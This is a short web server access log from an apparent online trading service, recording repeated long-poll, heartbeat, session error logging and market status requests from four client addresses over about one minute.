[09/Jan/2026:14:54:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941962652 HTTP/1.1" -
[09/Jan/2026:14:54:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941957639 HTTP/1.1" -
[09/Jan/2026:14:54:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941974219 HTTP/1.1" -
[09/Jan/2026:14:54:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941960906 HTTP/1.1" -
[09/Jan/2026:14:54:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941967759 HTTP/1.1" -
[09/Jan/2026:14:54:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941962942 HTTP/1.1" -
[09/Jan/2026:14:54:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941979241 HTTP/1.1" -
[09/Jan/2026:14:54:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941965938 HTTP/1.1" -
[09/Jan/2026:14:54:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941972824 HTTP/1.1" -
[09/Jan/2026:14:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941968028 HTTP/1.1" -
[09/Jan/2026:14:54:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941984262 HTTP/1.1" -
[09/Jan/2026:14:55:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941970972 HTTP/1.1" -
[09/Jan/2026:14:55:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941977851 HTTP/1.1" -
[09/Jan/2026:14:55:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941989293 HTTP/1.1" -
[09/Jan/2026:14:55:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941973151 HTTP/1.1" -
[09/Jan/2026:14:55:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941976019 HTTP/1.1" -
[09/Jan/2026:14:55:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941982950 HTTP/1.1" -
[09/Jan/2026:14:55:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941994321 HTTP/1.1" -
[09/Jan/2026:14:55:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941978345 HTTP/1.1" -
[09/Jan/2026:14:55:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941981044 HTTP/1.1" -
[09/Jan/2026:14:55:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941988032 HTTP/1.1" -
[09/Jan/2026:14:55:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941999384 HTTP/1.1" -
[09/Jan/2026:14:55:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941983482 HTTP/1.1" -
[09/Jan/2026:14:55:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941986095 HTTP/1.1" -
[09/Jan/2026:14:55:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941993070 HTTP/1.1" -
[09/Jan/2026:14:55:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942004406 HTTP/1.1" -
[09/Jan/2026:14:55:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941988627 HTTP/1.1" -
[09/Jan/2026:14:55:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941991126 HTTP/1.1" -
[09/Jan/2026:14:55:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941998170 HTTP/1.1" -
[09/Jan/2026:14:55:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942009437 HTTP/1.1" -
[09/Jan/2026:14:55:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941993761 HTTP/1.1" -
[09/Jan/2026:14:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941996156 HTTP/1.1" -
[09/Jan/2026:14:55:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942003247 HTTP/1.1" -
[09/Jan/2026:14:55:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942014473 HTTP/1.1" -
[09/Jan/2026:14:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941998863 HTTP/1.1" -
[09/Jan/2026:14:55:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942001179 HTTP/1.1" -
[09/Jan/2026:14:55:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942008270 HTTP/1.1" -
[09/Jan/2026:14:55:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942019539 HTTP/1.1" -
[09/Jan/2026:14:55:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942004021 HTTP/1.1" -
[09/Jan/2026:14:55:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942006222 HTTP/1.1" -
[09/Jan/2026:14:55:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942013368 HTTP/1.1" -
[09/Jan/2026:14:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942024605 HTTP/1.1" -
[09/Jan/2026:14:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942009147 HTTP/1.1" -
[09/Jan/2026:14:55:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942011241 HTTP/1.1" -
[09/Jan/2026:14:55:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942018436 HTTP/1.1" -
[09/Jan/2026:14:55:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942029663 HTTP/1.1" -
[09/Jan/2026:14:55:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942014293 HTTP/1.1" -
[09/Jan/2026:14:55:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942016274 HTTP/1.1" -
[09/Jan/2026:14:55:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942023474 HTTP/1.1" -
[09/Jan/2026:14:55:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942034690 HTTP/1.1" -
[09/Jan/2026:14:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942019418 HTTP/1.1" -
[09/Jan/2026:14:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942021304 HTTP/1.1" -
[09/Jan/2026:14:55:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942028580 HTTP/1.1" -
[09/Jan/2026:14:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:55:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942039723 HTTP/1.1" -
[09/Jan/2026:14:55:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:55:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942024623 HTTP/1.1" -
